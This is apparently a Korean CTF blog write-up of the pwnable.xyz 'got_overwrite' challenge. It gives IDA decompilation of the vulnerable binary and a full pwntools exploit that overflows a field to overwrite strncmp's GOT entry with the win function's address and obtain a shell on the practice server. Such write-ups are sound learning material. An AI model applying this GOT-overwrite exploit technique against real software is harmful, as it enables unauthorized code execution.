got_overwrite 문제이다.
나름 재밌었던 문제였던거 같기도하고,
일단 IDA로 까보자~
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int index_input; // eax
char name; // [rsp+10h] [rbp-40h]
__int64 nationality; // [rsp+30h] [rbp-20h]
__int64 age; // [rsp+40h] [rbp-10h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(&name, 0, 0x38uLL); // name reset // gdb로 보면 스택을 그냥 쫙 초기화시킴 // main+45
while ( 1 )
{
while ( 1 )
{
print_menu(); // 메뉴 출력
index_input = read_int32(); // index input // main+55
if ( index_input != 2 )
break;
printf("nationality: "); // 2. Change nationality. / main+151
__isoc99_scanf("%24s", &nationality);
}
if ( index_input > 2 )
{
if ( index_input == 3 )
{
printf("age: "); // 3. Change age. // main+210
__isoc99_scanf("%d", age); // vuln(GOT Overwrite)
// 변수를 사용할떄 & 이거 안붙이면 안에 들어있는 메모리주소에 들어감
// -> segmentation fault == 쓰레기값 들어있음
}
else if ( index_input == 4 )
{
if ( auth(&name) ) // 4. Get shell.
// vuln(reverse)?
win();
}
else // else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( index_input != 1 )
goto LABEL_14;
printf("name: "); // 1. Change name.
__isoc99_scanf("%32s", &name);
}
}
}
일단 딱봐도 age에서 터지는것을 알수있다.
전에 포스팅한 문제중에 저거와 같은 유형을 볼수 있었는데 여기서 적용하여 다시푼 느낌이다.
일단 nationality 에서 24바이트나 받아주고있다 원래 16바이트 받아줘야되는데 24바이트를 받음으로써 age에 8바이트를 덮게된다.
즉 오버플로우시켜서 age안에 strncmp got를 넣은다음에 age를 입력하여 win함수로 돌리면 쉘이 따질것이다.
from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz",30031)
binf = ELF("./challenge")
#context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
#gdb.attach(p)
addr_strncmp_got = binf.got['strncmp']
addr_oneshot = 0x000000000040099c
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(": ")
payload = "A" * 0x10
payload += p64(addr_strncmp_got)
p.send(payload)
p.recvuntil("> ")
p.sendline("3")
p.recvuntil(": ")
#payload = p64(addr_oneshot)
payload = "4196764"
p.sendline(payload)
p.sendline("4")
p.interactive()
age를 저런식으로 넣은것은 정수만 받아주고있기때문에 일부러 정수로 넣어줬음.
롸업을 보니 리버싱으로 하는 방법도 존재했음.
근데 나는 리버싱을 잘 못해서 못했음
일단 코드분석한거 보여줌
_BOOL8 __fastcall auth(__int64 name_input)
{
signed int i; // [rsp+18h] [rbp-38h]
char s1[8]; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
*s1 = 0LL;
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
for ( i = 0; i <= 31; ++i ) // 32번 반복
s1[i] = ((*(name_input + i) >> 4) | (16 * *(name_input + i))) ^ *(main + i);// >> 시프트 연산
return strncmp(s1, &s2, 32uLL) == 0;
}
대충 역연산해서 키값 알아낸다음에 푸는거같은데 시피트 연산때문에 힘들어서 못하겠음 솔직히 시피트 들어가있으면 어떻게 해야될지 감이 안옴 -> 리버싱 공부해야딤 ㅠ
'CTF > Pwnable.xyz' 카테고리의 다른 글
Pwnable.xyz pwnable_GrownUpRedist Write up (0) | 2019.11.17 |
---|---|
Pwnable.xyz pwnable_xor Write up (0) | 2019.11.17 |
Pwnable.xyz pwnable_misailgnment Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_add Write up (0) | 2019.11.09 |
Pwnable.xyz pwnable_sub Write up (0) | 2019.11.09 |